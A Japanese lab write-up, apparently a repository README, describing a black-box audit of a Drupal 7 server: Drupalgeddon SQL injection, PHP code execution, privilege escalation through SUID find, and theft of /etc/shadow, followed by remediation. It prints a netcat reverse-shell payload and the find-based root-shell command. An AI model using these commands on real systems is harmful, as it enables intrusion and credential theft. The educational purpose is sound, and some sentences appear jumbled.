
Drupal 7サーバーのブラックボックスセキュリティ監査。完全なキルチェーンのデモンストレーション:SQLインジェクション(CVE-2014-3704)➔ RCE ➔ リバースシェル ➔ Root(SUID)への権限昇格。このリポジトリには、詳細な技術レポート、エクスプロイトの証明(PoC)、およびインフラを保護するための是正措置が含まれています。
このプロジェクトは、教育および学術目的のために、管理され隔離されたラボ環境で実施されました。実際のインフラストラクチャは標的にされていません。目的は、攻撃メカニズムを理解することでシステムのセキュリティを強化する方法を学ぶことです。
このプロジェクトの目的は、ブラックボックス監査を実施することです。これは、対象に関する事前知識なしに分析を開始することを意味します。つまり、識別子、技術文書、ソースコードは一切提供されていません。
インフラストラクチャは、外部との相互作用を避けるために、VMware 上で隔離されたプライベートネットワーク (ホストオンリー) 内に仮想的に展開されました。
192.168.78.131
192.168.78.132
最初のステップは、ポートスキャンを使用してターゲットマシンの攻撃対象領域をマッピングすることでした。
実行コマンド : nmap -sV 192.168.78.132

特定されたサービス :
Web サービス (ポート 80) と robots.txt ファイルの分析により、CMS Drupal の存在が明らかになりました。ソースコードの検査により、古いバージョン Drupal 7.x が特定されました。
偵察フェーズの結果、重大な攻撃対象領域が明らかになりました。メンテナンスされていない CMS Drupal 7 です。このバージョンは、歴史的に重大なセキュリティ脆弱性(特に "Drupalgeddon")に対して脆弱であることが知られています。
この状況を受けて、監査は公知の脆弱性 (CVE) の対象を絞った調査に方向性を変えました。この列挙により、単なる Web 訪問者からシステム管理者 "Root" に至る完全なエクスプロイトチェーンの存在が確認されました。
特定された攻撃ベクトル :
脆弱性 CVE-2014-3704 (Drupalgeddon) の悪用。Drupal のデータベース API におけるこの脆弱性により、認証なしで SQL コマンドを注入することが可能になります。
users テーブルに注入。
管理者としてログインした後、ネイティブの PHP Filter モジュールを利用。このモジュールは誤って設定されており、サイトのページ内で任意の PHP コードを実行することができます。
<?php system('nc -e /bin/bash 192.168.78.131 4444'); ?>www-data)。
SUID (Set User ID) 権限を持つファイルの分析。find コマンドに重大な設定を発見。
find . -exec '/bin/sh' \;find バイナリが root として実行され、Root (uid=0) 権限でシェルが起動。root アクセスを取得した後、ユーザーパスワードのハッシュ値を外部に持ち出すために、機密ファイル /etc/shadow を読み取り。

監査の結果、リスクレベルは重大であることが判明しました。古い CMS とシステム設定 (SUID) の怠慢の組み合わせにより、サーバー全体が侵害される可能性があります。
ビジネスへの影響 :
/etc/shadow) の外部持ち出しが可能。優先的なアクションプラン :
chmod u-s /usr/bin/find)。完全な技術的詳細、使用されたスクリプト、および詳細な分析については、完全なレポートを参照してください: 監査レポートを読む (PDF)
Fabien MOINE